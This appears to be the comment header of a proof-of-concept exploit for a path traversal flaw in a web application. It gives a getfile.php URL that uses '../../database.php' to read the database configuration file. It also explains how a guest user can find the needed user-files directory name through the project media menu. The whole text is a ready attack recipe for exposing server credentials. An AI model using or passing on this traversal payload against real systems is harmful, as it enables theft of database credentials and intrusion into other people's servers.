# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>
